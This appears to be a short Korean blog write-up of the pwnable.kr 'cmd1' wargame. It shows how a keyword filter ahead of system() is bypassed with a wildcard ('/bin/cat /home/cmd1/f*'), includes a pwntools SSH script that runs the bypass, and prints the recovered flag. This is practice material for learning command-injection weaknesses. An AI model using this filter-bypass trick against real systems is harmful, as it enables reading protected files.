14. cmd1


1

PATH 환경변수 관련 문제인 것 같다.

코드를 보자.


2

짧다.

시작하자마자 PATH 환경변수를 덮는다.

그리고 argv[1]을 filter 함수로 filter 후에 flag, sh, tmp가 없으면

system 함수로 실행한다.


./cmd1 "/bin/cat /home/cmd1/flag"


대충 이런 문장을 실행시켜서 플래그를 읽어야 할 것 같은데..

여긴 flag라는 문자열이 들어가기 때문에 실행할 수 없다.

그럼..

3


mommy now I get what PATH environment is for :)

pwntools

from pwn import *
 
id   = 'cmd1'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
s = ssh(id, host, port=port, password=pw)
 
argv = '\"/bin/cat /home/cmd1/f*\"'
res = s.run('./cmd1 ' + argv)
res.interactive()





© 2020.02. by blupine